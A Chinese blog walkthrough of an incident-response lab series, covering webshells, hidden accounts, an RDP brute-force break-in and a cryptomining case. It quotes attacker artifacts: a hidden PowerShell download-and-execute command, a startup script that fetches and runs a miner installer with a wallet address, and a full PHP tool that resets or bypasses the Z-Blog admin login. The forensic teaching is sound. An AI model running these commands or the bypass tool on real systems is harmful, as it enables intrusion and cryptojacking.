loading

知攻善防应急响应靶场系列通关

知攻善防应急响应靶场系列通关

官方给出的下载地址:https://pan.quark.cn/s/4b6dffd0c51a

夸克盘又限速又限容量,百度网盘地址:https://pan.baidu.com/s/1NnrS5asrS1Pw6LUbexewuA?pwd=txmy

启动靶机后建议第一件事是把实时保护和防火墙关了(不然直接帮你把木马删完了):

image-20250404205109759

应急响应靶机训练-Web1

前景需要:

小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将服务器关机,并找来正在吃苕皮的hxd帮他分析,这是他的服务器系统,请你找出以下内容,并作为通关条件:

1.攻击者的shell密码

打开靶机,发现服务器使用了phpstudy,使用D盾扫描网站根目录即可找到shell后门文件:

image-20250405105807373

典中典默认冰蝎马

2.攻击者的IP地址

分析apache日志文件:

image-20250405110409323

寻找有关木马文件shell.php的请求:

image-20250405110504659

3.攻击者的隐藏账户名称

分析靶机的登录日志,可以发现有隐藏用户hack168$的登录成功记录(项目地址:Releases · mir1ce/Hawkeye):

image-20250405112018028

没有工具的就过滤安全日志中事件 ID 4624:

image-20250405112929502

4.攻击者挖矿程序的矿池域名(仅域名)

在攻击者创建的隐藏用户桌面中发现了程序:

image-20250405113130234

exe转pyc转py:

# 导入多进程处理模块和HTTP请求库
import multiprocessing
import requests

def cpu_intensive_task():
    """
    模拟一个CPU密集型任务(实际为IO密集型,主要处理HTTP请求)
    注意:原代码存在语法错误,已修正异常处理逻辑
    """
    try:
        # 发送一个带有10秒超时的GET请求(原参数顺序错误已修正)
        response = requests.get('http://wakuang.zhigongshanfang.top', timeout=10)
    except Exception as e:
        # 简化异常处理,实际使用时应该记录日志或处理异常
        pass

if __name__ == '__main__':
    # 获取系统CPU核心数量
    cpu_count = multiprocessing.cpu_count()
    
    # 创建与CPU核心数量相同的进程列表
    # 修正:原代码使用了错误的lambda表达式,改为直接列表推导式
    processes = [
        multiprocessing.Process(target=cpu_intensive_task)
        for _ in range(cpu_count)
    ]

    # 启动所有进程
    for process in processes:
        process.start()

    # 等待所有进程执行完成
    for process in processes:
        process.join()

发现源码中存在GET请求的域名

image-20250405114122315

5.有实力的可以尝试着修复漏洞

启动服务:

image-20250405114226564

根据shell.php上传的地址,可以推测是后台插件管理模块存在漏洞,进入后台(弱口令admin/123456)

官方WP给出漏洞名称:emlog v2.2.0后台插件上传漏洞

奇安信攻防社区-CVE-2023-44974 emlog CMS任意文件上传漏洞分析

image-20250405114742911

为了修复漏洞,更新emlog版本即可(正版要钱)

应急响应靶机训练-Web2

用户:administrator

密码:Zgsf@qq.com

前景需要:小李在某单位驻场值守,深夜12点,甲方已经回家了,小李刚偷偷摸鱼后,发现安全设备有告警,于是立刻停掉了机器开始排查。

这是他的服务器系统,请你找出以下内容,并作为通关条件:

1.攻击者的IP地址(两个)?

首先从网站日志入手,发现攻击者尝试目录扫描的痕迹:

image-20250405141831959

只有一个IP,再继续分析靶机日志(项目地址:Releases · Fheidt12/Windows_Log):

image-20250405160333043

没有工具的就过滤安全日志中事件 ID 4624:

image-20250405143249156

image-20250405143306427

2.攻击者的webshell文件名?

日志的最后部分和D盾扫描结果共同指向一个文件:

image-20250405144051769

3.攻击者的webshell密码?

典型的哥斯拉马:

image-20250405144413156

4.攻击者的伪QQ号?

参考文章:知攻善防实验室8个应急响应靶机 WriteUp | lololowe的博客

攻击者可能在系统中登陆过qq,而qq会在每个用户登录后自动往当前用户的Documents\Tencent Files\目录下创建一个以QQ号命名的文件夹,因此可以搜索进入该目录,查看是否存在以QQ号命名的文件夹:

image-20250405144533378

5.攻击者的伪服务器IP地址?

在攻击者QQ文件夹中查询文件传输内容:

image-20250405151214098

发现隧道搭建工具frp,打开其配置文件发现攻击者服务器IP:

image-20250405151318481

6.攻击者的服务器端口?

由上题分析可知。

7.攻击者是如何入侵的(选择题)?

1.web攻击
2.数据库攻击
3.ftp攻击
4.rdp攻击

从之前的分析可知攻击者入侵利用的木马文件为system.php,因此要找出该木马的上传方式。

1.web攻击

在apache日志中并未发现system.php上传的POST请求,因此不能算作web攻击

2.数据库攻击

可以在mysql配置文件my.ini中看到并没有配置日志,因此排除:

image-20250405152710417

配置日志需有:

[mysqld]
log-error="C:/phpstudy_pro/Extensions/MySQL5.7.26/data/error.log"  # 错误日志路径
general_log_file="C:/phpstudy_pro/Extensions/MySQL5.7.26/data/mysql.log"  # 通用查询日志(需启用)
slow_query_log_file="C:/phpstudio_pro/Extensions/MySQL5.7.26/data/slow.log"  # 慢查询日志(需启用)

3.ftp攻击

从日志中发现:

image-20250405152809068

4.rdp攻击

已知system.php文件是通过ftp上传到靶机的了,不可能是rdp远程桌面连接后上传的

8.攻击者的隐藏用户名?

由第一题分析可知。

该用户在控制面板并未发现:

image-20250405153340693

因此推测该用户为隐藏用户,去注册表计算机\HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names寻找该用户能够找到这个隐藏账户hack887$

img

若攻击者通过 注册表克隆底层SAM操作 创建$结尾用户(如hack$),此类账户 默认不会显示 在以下界面:

  • 控制面板的“用户账户”
  • lusrmgr.msc(本地用户和组管理器)
  • net user 命令

image-20250405153153373

应急响应靶机训练-Web3

用户:administrator

密码:xj@123456

前景需要:小苕在省护值守中,在灵机一动情况下把设备停掉了,甲方问:为什么要停设备?小苕说:我第六感告诉我,这机器可能被黑了。

这是他的服务器,请你找出以下内容作为通关条件:

1.攻击者的两个IP地址

分析apache日志,发现出了本地IP127.0.0.1外只有两个IP的请求:

image-20250405161317213

2.隐藏用户名称

上控制面板查看发现:

image-20250405161542141

如果用户通过 正常GUI流程(如控制面板的“添加用户”)或 PowerShell命令 创建$结尾账户(如hack6618$),系统 不会自动隐藏

3.黑客遗留下的flag【3个】

因为电脑中出现了其他用户,我们需要登录其账号进行分析

更换用户密码:

net user hack6618$ xj@123456

登录成功,分析其目录

只有下载里面有东西:

image-20250405162230860

再看其在任务计划程序中是否存在持久化操作:

image-20250405162657013

我们需要得知攻击者是如何入侵进入靶机的,我们继续对apache日志进行分析,推测攻击者进入了网站后台:

image-20250405163009238

重启网站发现是Z-Blog框架,进入后台zb_system/admin/index.php分析:

image-20250405162850603

需要登录,现实中肯定能向管理员要账号密码的,但此处没有

image-20250405163129947

进行搜索:

image-20250405163255223

即在根目录增加.php文件

<?php
require './zb_system/function/c_system_base.php';
//$zbp->Load();

if (isset($_GET['uid']) && isset($_GET['resetpw'])) {
    $id = (int) $_GET['uid'];
    $m = $zbp->GetMemberByID($id);
    $m->Level = 1;
    if (trim($m->Guid) == '') {
        $m->Guid = GetGuid();
    }
    $m->Password = Member::GetPassWordByGuid('12345678', $m->Guid);
    $m->Save();

    unlink(__FILE__);

    Redirect('zb_system/cmd.php?act=login');
    die;
}

if (isset($_GET['uid'])) {
    $zbp->Load();
    $zbp->LoadMembers(1);
    $m = $zbp->members[$_GET['uid']];
    if (function_exists('SetLoginCookie')) {
        SetLoginCookie($m, 0);
    } else {
        $un = $m->Name;
        $zbp->user = $m;
        if ($blogversion > 131221) {
            $ps = md5($m->Password . $zbp->guid);
        } else {
            $ps = md5($m->Password . $zbp->path);
        }
        setcookie("username", $un, 0, $zbp->cookiespath);
        setcookie("password", $ps, 0, $zbp->cookiespath);
    }

    if (isset($GLOBALS['hooks']['Filter_Plugin_VerifyLogin_Succeed'])) {
        foreach ($GLOBALS['hooks']['Filter_Plugin_VerifyLogin_Succeed'] as $fpname => &$fpsignal) {
            $fpname();
        }
    }

    unlink(__FILE__);

    Redirect('zb_system/cmd.php?act=login');
    die();
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">

<head>
    <meta http-equiv="Content-Type" content="text/html;charset = UTF-8" />
    <title>Z-BlogPHP密码重置工具</title>
    <style>
        * {
            margin: 0;
            padding: 0;
        }

        h1,
        h2,
        h3,
        h4,
        h5,
        h6 {
            font-weight: normal;
        }

        input,
        textarea,
        select,
        label {
            font-family: microsoft yahei;
        }

        ul {
            list-style: none;
        }

        body {
            font-family: microsoft yahei;
            background: #f0f0f0;
        }

        .nologin {
            width: 600px;
            margin: 0 auto 0;
            background: #fff;
            position: fixed;
            top: 50%;
            right: 0;
            left: 0;
            min-height: 400px;
        }

        .loginhead {
            padding: 30px 0;
            color: #fff;
            text-align: center;
            background: #3a6ea5;
        }

        .loginhead h1 {
            font-size: 22px;
        }

        .loginhead h2 {
            margin-top: 10px;
            font-size: 14px;
        }

        .loginbody {
            padding: 30px;
        }

        .loginuser li {
            padding: 20px 0;
            line-height: 28px;
            border-bottom: 1px dotted #eee;
        }

        .loginuser em {
            font-size: 12px;
            color: #999;
            font-style: normal;
        }

        .loginuser label {
            font-size: 14px;
            color: #3a6ea5;
            font-weight: bold;
        }

        .loginuser input {
            margin-left: 20px;
            float: right;
            padding: 0 20px;
            font-size: 14px;
            color: #fff;
            text-align: center;
            line-height: 30px;
            border: 0;
            border-radius: 2px;
            cursor: pointer;
            background: #3a6ea5;
        }

        .loginmsg {
            margin-top: 30px;
            font-size: 12px;
            color: red;
            line-height: 30px;
            text-align: center;
        }

        .loginmsg b {
            color: #333;
        }
    </style>
    <script type="text/javascript" src="./zb_system/script/jquery-1.8.3.min.js"></script>
    <script>
        $(function() {
            $loginh = $(".nologin").height();
            $(".nologin").css("margin-top", -$loginh / 2);
        });
    </script>
</head>

<body>
    <div class="nologin">
        <div class="loginhead">
            <h1>Z-BlogPHP免输入密码登陆工具</h1>
            <h2><?php echo ZC_BLOG_VERSION; ?></h2>
        </div>
        <div class="loginbody">
            <form id="frmLogin" method="post">
                <div class="loginuser">
                    <ul>
                        <input type="hidden" name="userid" id="userid" value="0" />
                        <?php
                        $zbp->LoadMembers(1);
                        $i = 0;
                        foreach ($zbp->members as $key => $m) {
                            if ($m->Level < 2) {
                                $i += 1;
                                echo '<li><em>[ 管理员 ]</em> <label for = "">' . $m->Name . '</label>
        <input type = "button" onclick = "location.href = \'?uid=' . $m->ID . '\'" value = "登录" />
        <input type = "button" onclick = "location.href = \'?uid=' . $m->ID . '&resetpw=1\'" value = "重置密码为12345678" />&nbsp;&nbsp;
        </li>';
                            }
                        }
                        if ($i == 0) {
                            $m = $zbp->GetMemberByID(1);
                            echo '<li><em>[ 管理员 ]</em> <label for = "">' . $m->Name . '</label>
    <input type = "button" onclick = "location.href = \'?uid=' . $m->ID . '\'" value = "登录" />
    <input type = "button" onclick = "location.href = \'?uid=' . $m->ID . '&resetpw=1\'" value = "重置密码为12345678" />&nbsp;&nbsp;
    </li>';
                        }
                        ?>
                    </ul>
                </div>
                <div class="loginmsg">[注意] <b>此工具非常危险,使用后请立刻通过<u>FTP删除</u>.</b></div>
            </form>
        </div>
    </div>
</body>

</html>

编码方式可能有点问题,但不影响更改admin密码为12345678

image-20250405163808692

(此处可更改密码的有两个用户)

image-20250405163909764

image-20250405163923382

image-20250405164249048

应急响应靶机训练-Linux1

相关账户密码:

defend/defend

root/defend

前景需要:小王急匆匆地找到小张,小王说"李哥,我dev服务器被黑了",快救救我!!

Dev服务器作用:

分类 具体作用 典型场景 与其他环境(如生产环境)的差异
代码开发 提供运行环境供开发人员编写、调试代码,支持实时修改与测试。 - 本地代码运行测试 - 调试接口或服务逻辑 允许频繁重启或中断操作,生产环境需高稳定性。
功能测试 验证新功能或模块的可用性,确保代码逻辑正确。 - 新功能联调 - 数据库迁移测试 使用模拟数据,生产环境处理真实用户数据。
安全测试 模拟攻击行为(如渗透测试)或验证安全补丁,避免漏洞影响生产环境。 - 漏洞扫描 - 权限配置验证 安全策略可能放宽,但需隔离生产网络。
协作与版本控制 支持多开发者协作开发,集成版本控制工具(如Git),管理代码分支与合并。 - 团队协同开发 - 代码冲突解决 允许实验性代码提交,生产环境仅部署稳定版本。
工具链集成 集成开发工具(IDE)、自动化测试框架(如Jenkins)、依赖管理(如Maven)等。 - 自动化构建部署 - 单元测试/集成测试运行 工具链灵活性高,生产环境需最小化工具依赖。
数据模拟 使用生成或脱敏的测试数据,避免生产数据泄露或污染。 - 数据库压力测试 - 用户行为模拟 数据无真实业务价值,生产数据需严格保护。
环境隔离 独立于生产网络,防止开发中的错误或攻击影响线上服务。 - 开发环境与生产环境分离 - 微服务独立调试 网络策略宽松,生产环境需严格防火墙规则。

1.黑客的IP地址

/var/log目录下进行日志分析(无apache、无nginx),分析redis日志(搜索关键词accepted来寻找连接记录):

image-20250405165708591

2.遗留下的三个flag

从linux系统取证来说,首先应该分析各用户命令历史记录:

history
或
查看.bash_history文件

image-20250405170212752

发现历史记录有修改/etc/rc.d/rc.local文件,分析其内容找到flag:

image-20250405170836666

线索断了,按照官方题解flag在redis配置文件里面:

image-20250405171049964

偷鸡技巧——直接在常见目录下搜索flag(原文地址:知攻善防实验室8个应急响应靶机 WriteUp | lololowe的博客):

grep -inr flag{ /etc/
grep -inr flag{ ~

image-20250405171326528

image-20250405171342387

应急响应靶机训练-Linux2

相关账户密码:

root/Inch@957821.

前景需要:看监控的时候发现webshell告警,领导让你上机检查你可以救救安服仔吗!!

1.提交攻击者IP

这次没有图形化界面,使用XTerminal进行远程连接,查看历史记录:

image-20250405172456225

发现这台服务器下载了宝塔面板:

image-20250405172634036

修改密码后,直接打开面板进入分析网站日志:

image-20250405173019487

只有两个IP在进行操作……

或者更直观一些的分析:

image-20250405173330420

源文件在/www/wwwlogs/127.0.0.1.log

2.提交攻击者修改的管理员密码(明文)

在宝塔面板将靶机IP作为域名添加,重启网站:

image-20250405173727623

可以发现有个登录点:

image-20250405173801060

使用宝塔登录进后台数据库进行分析:

image-20250405173854298

image-20250405174052267

image-20250405174154217

3,提交第一次Webshell的连接URL(http://xxx.xxx.xxx.xx/abcdefg?abcdefg只需要提交abcdefg?abcdefg)

扫描是否存在木马文件(可能是因为在html里面,D盾等工具都扫不出):

grep -irn '@eval(' /www

image-20250405181904930

查看相关文件,可以发现webshell都写在前端html文件中,进入网站管理员后台查看找到:

image-20250405182831123

image-20250405182816195

也就是在注册页面存在webshell,页面地址为:

image-20250405182947330

3.提交Webshell连接密码

由上题分析可知密码

4.提交数据包的flag1

靶机中有wireshark流量包,进行追踪流分析:

image-20250405183314689

5.提交攻击者使用的后续上传的木马文件名称

在数据流27之前的webshell都是与user-app-register注册协议交互,根据流量特征分析使用的工具为蚁剑:

image-20250405183545319

可以解码查看这里POST的请求:

image-20250405183945392

之后的都是冰蝎流量特征了,也能看出请求的webshell名称:

image-20250405184124212

6.提交攻击者隐藏的flag2

从命令历史记录中发现曾经更改的文件,从中找出flag:

image-20250405184651824

image-20250405184635868

偷鸡:

grep -inr flag2 /www

7,提交攻击者隐藏的flag3

在命令历史中发现flag3藏在环境变量中:

image-20250405184534188

因此也可以:

env

偷鸡:

grep -inr flag3 ~

image-20250405184833760

应急响应靶机训练-近源渗透OS-1

相关账户密码

Administrator

zgsf@2024

前景需要:小王从某安全大厂被优化掉后,来到了某私立小学当起了计算机老师。某一天上课的时候,发现鼠标在自己动弹,又发现除了某台电脑,其他电脑连不上网络。感觉肯定有学生捣乱,于是开启了应急。

近源渗透Close-Source PenetrationPhysical Proximity-Based Penetration)是一种网络安全攻击或测试手段,其核心特点是攻击者(或渗透测试人员)通过物理接近目标,结合技术手段与物理接触,突破目标的安全防线。与传统远程网络渗透不同,近源渗透更依赖对目标物理环境、周边设备或人员的直接接触或近距离交互。

1.攻击者的外网IP地址

桌面上存在可疑文件:

image-20250405190442376

将这些office文件打包进行沙箱分析:

image-20250405191554852

小小年纪就学会了用宏病毒,年少有为啊

2.攻击者的内网跳板IP地址

有一个名为phpStudy-修复的文件,尝试编辑会发现:

image-20250405191826040

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.20.129:801/a'))"
参数/组件 全称/解释 作用 示例/细节
powershell.exe PowerShell命令行工具 启动PowerShell环境 基础执行程序
-nop -NoProfile 不加载用户配置文件(加快启动,避免用户脚本干扰) 跳过$PROFILE配置
-w hidden -WindowStyle Hidden 隐藏PowerShell窗口(避免用户察觉) 可选值:NormalMinimizedMaximizedHidden
-c -Command 指定要执行的命令字符串 后接需执行的代码
IEX Invoke-Expression(别名) 执行字符串中的代码(动态解析并运行) 常用于执行远程脚本或动态生成的代码
new-object net.webclient 创建System.Net.WebClient对象 提供HTTP客户端功能,用于网络请求 替代方案:Invoke-WebRequest(PowerShell 3.0+)
.downloadstring('URL') 从指定URL下载字符串内容 获取远程服务器上的数据(此处为脚本代码) 目标URL为http://192.168.20.129:801/a(可能为内网攻击载荷)
完整命令意图 隐藏窗口启动PowerShell,跳过配置文件,下载并执行远程脚本 典型渗透测试或恶意软件行为,用于隐蔽执行未经授权的代码 实际用途可能是植入后门、横向移动、信息窃取等

3.攻击者使用的限速软件的md5大写

真实环境中,一个普通用户怎么去劫持整个局域网网速呢??

答案:ARP劫持

分析用户目录,发现:

C:\PerfLogs\666\666\777\666\666\666\666\666\666\666\666\666\666\666路径下的安装包:

image-20250405193629592

image-20250405193806464

image-20250405193709374

或(原文地址:应急响应靶机 —— 近源渗透 OS1 - 哔哩哔哩

查看恶意office文件创建时间:

image-20250405194321733

搜索时间点当天的.exe文件

chcp 65001
dir /TC /O-D /S | findstr "2024/05/06" > 1.csv
命令/参数 作用说明 注意事项
chcp 65001 将命令行编码设置为 UTF-8,支持中文等特殊字符显示。 临时生效,重启终端后恢复默认编码(如中文系统的 936)。
dir 列出目录内容。 无参数时显示当前目录文件。
/TC 显示文件的 创建时间(Creation Time) 修改时间需用 /TW(Last Written Time)。
/O-D 按日期 倒序排序(最新文件在前)。 -D 表示以日期作为排序键。
/S 递归搜索当前目录及其所有子目录 目录层级深或文件多时可能耗时较长。
**` findstr "2024/05/06"`** 过滤出包含 2024/05/06 的行(即创建时间为该日期的文件)。
> 1.csv 将结果输出到文件 1.csv,覆盖原有内容。 使用 >> 可追加内容(如 >> 1.csv)。

image-20250405194355099

提取出来进行哈希值计算:

image-20250405195009171

4.攻击者的后门md5大写

检查启动项、计划任务、服务未发现异常,排查shift后门时(连续点击shift键5次),发现攻击者留的粘滞键后门:

image-20250405220126192

原理:将粘滞键功能C:\Windows\System32\sethc.exe改为了自己的后门,当用户使用RDP连接没有凭证卡在登录界面时也可以使用cmd:

image-20250405220503848

计算其MD5值:

CertUtil -hashfile C:\Windows\System32\sethc.exe MD5

5.攻击者留下的flag

由上题分析可以看出flag

image-20250405221102159

学生攻击流程:

  1. 物理接触 → 恶意文档植入
    攻击者利用近源渗透优势,直接接触目标设备或通过U盘植入带宏病毒的Office文件。

  2. 宏病毒 → 外网载荷下载
    受害者启用宏后,触发代码从外网C2服务器下载恶意程序,建立初步控制通道。

  3. 内网跳板搭建 → 横向扩散
    攻击者以内网主机192.168.20.129为跳板,篡改常用软件(如phpStudy)配置文件,注入PowerShell命令,进一步控制内网其他设备。

  4. 隐蔽执行 → 网络破坏
    通过隐藏的PowerShell进程执行恶意操作(使用限速软件)。

  5. 后门→权限维持

    通过留下后门将靶机的控制权持久化。

应急响应靶机训练-挖矿事件

前景需要:机房运维小陈,下班后发现还有工作没完成,然后上机器越用越卡,请你帮他看看原因。

相关账户密码:

Administrator/zgsf@123

1.攻击者的IP地址

使用日志分析工具观察其登录记录即可:

image-20250406141818208

image-20250406141844706

可以推测攻击者IP为192.168.115.131

2.攻击者开始攻击的时间

由上题分析可知开始攻击时间为2024-05-21 20:25:22

3.攻击者攻击的端口

由上上题分析可知登录类型为3

登录类型 类型说明 说明
2 交互式(Interactive) 用户通过键盘/鼠标直接在计算机上登录,比如在本地控制台登录。
3 网络(Network) 通过网络连接进行登录,例如通过 SMB、远程共享等访问。
4 批处理(Batch) 用于执行批处理作业的登录,如计划任务。
5 服务(Service) 服务启动时使用的账户登录。
7 解锁(Unlock) 用户解锁已锁定的工作站。
8 网络明文(NetworkCleartext) 用户通过网络以明文方式传输密码进行认证,比如基本身份验证。
9 新凭据(NewCredentials) 使用 RunAs 命令登录,指定新凭据而不注销当前会话。
10 远程交互(RemoteInteractive) 远程桌面方式的登录,比如使用 RDP。
11 缓存交互(CachedInteractive) 使用缓存凭据进行交互式登录,通常在域控制器不可用时使用。

使用 RDP(远程桌面协议)登录时,登录类型是:

  • 最初建立连接时是 3(Network)
  • 真正进入桌面交互时是 10(RemoteInteractive)

因此使用攻击者利用RDP端口登录,RDP端口默认为3389

4.挖矿程序的md5

观察进程(按所用内存进行排序),发现挖矿软件XMRig:

image-20250406135259945

在我的文章:CyberDefenders通关(持续缓慢更新) - Super_Snow_Sword - 博客园中遇到过这个:

XMRig 是一款开源的加密货币挖矿软件,主要用于挖掘Monero (XMR),一种专注于隐私的数字货币。它支持RandomX, CryptoNight, AstroBWT和Argon2挖掘算法,这些算法针对CPU和GPU性能进行了优化。XMRig由于其高效和可配置性而被广泛使用,但它也因嵌入恶意软件和用于非法加密劫持活动的脚本而臭名昭著。攻击者通常将XMRig部署在已被入侵的机器上,以秘密挖掘Monero,利用其匿名交易特性隐藏踪迹。

或者用火绒剑也可以分析出来:

对其进行MD5计算即可:

CertUtil -hashfile C:\Users\Administrator\c3pool\xmrig.exe MD5

5.后门脚本的md5

使用火绒剑分析启动项:

image-20250406144351985

分析:

powershell -Command "
$wc = New-Object System.Net.WebClient;
$tempfile = [System.IO.Path]::GetTempFileName();
$tempfile += '.bat';
$wc.DownloadFile('https://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.bat', $tempfile);
& $tempfile 4APXVhukGNiR5kqqVC7jwiVaa5jDxUgPohEtAyuRS1uyeL6K1LkkBy9SKx5W1M7gYyNneusud6A8hKjJCtVbeoFARuQTu4Y;
Remove-Item -Force $tempfile"
步骤 命令片段 功能说明 潜在风险
1 New-Object System.Net.WebClient 创建用于网络下载的对象 $wc 允许脚本连接外部服务器
2 [System.IO.Path]::GetTempFileName() 获取一个临时文件路径(例如 C:\Users\User\AppData\Local\Temp\tmp123.tmp 隐蔽保存文件
3 $tempfile += '.bat' 将临时文件扩展名改为 .bat,使其变成可执行的批处理文件 可执行恶意批处理脚本
4 $wc.DownloadFile('https://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.bat', $tempfile) 从远程服务器下载名为 setup_c3pool_miner.bat 的脚本保存到本地临时文件 远程加载恶意代码
5 & $tempfile [钱包地址] 执行刚才下载的 .bat 文件,并传入一个矿池的钱包地址作为参数 实际开始挖矿,使用你设备的 CPU
6 Remove-Item -Force $tempfile 执行完后删除临时文件以清除痕迹 隐蔽性更强,难以追踪

计算其MD5:

CertUtil -hashfile C:\Users\Administrator\AppData\systems.bat MD5

6.矿池地址

矿池(Mining Pool)*是指一种由多个矿工(矿机)组成的集体,通过*共享算力共同挖掘加密货币(如比特币、门罗币等),然后按照各自贡献的算力分配奖励的方式。

矿池的运作流程

  1. 你连接到矿池服务器(比如 c3pool.org);
  2. 矿池给你分配任务(一个区块的子任务);
  3. 你用自己的 CPU/GPU 进行计算(挖矿);
  4. 计算结果上传回矿池;
  5. 矿池中有人挖中一个区块,所有人按贡献分红;
  6. 收益打到你提供的钱包地址。

由上题分析可知矿池地址为:c3pool.org

image-20250406145043436

7.钱包地址

由上上题分析可知钱包地址为4APXVhukGNiR5kqqVC7jwiVaa5jDxUgPohEtAyuRS1uyeL6K1LkkBy9SKx5W1M7gYyNneusud6A8hKjJCtVbeoFARuQTu4Y

8.攻击者是如何攻击进入的

由题1分析可发现攻击者有很多登录失败的记录,说明其使用了暴力破解RDP来进行攻击进入靶机的

image-20250406145314345

posted @ 2025-04-06 15:01  Super_Snow_Sword  阅读(1370)  评论(0)    收藏  举报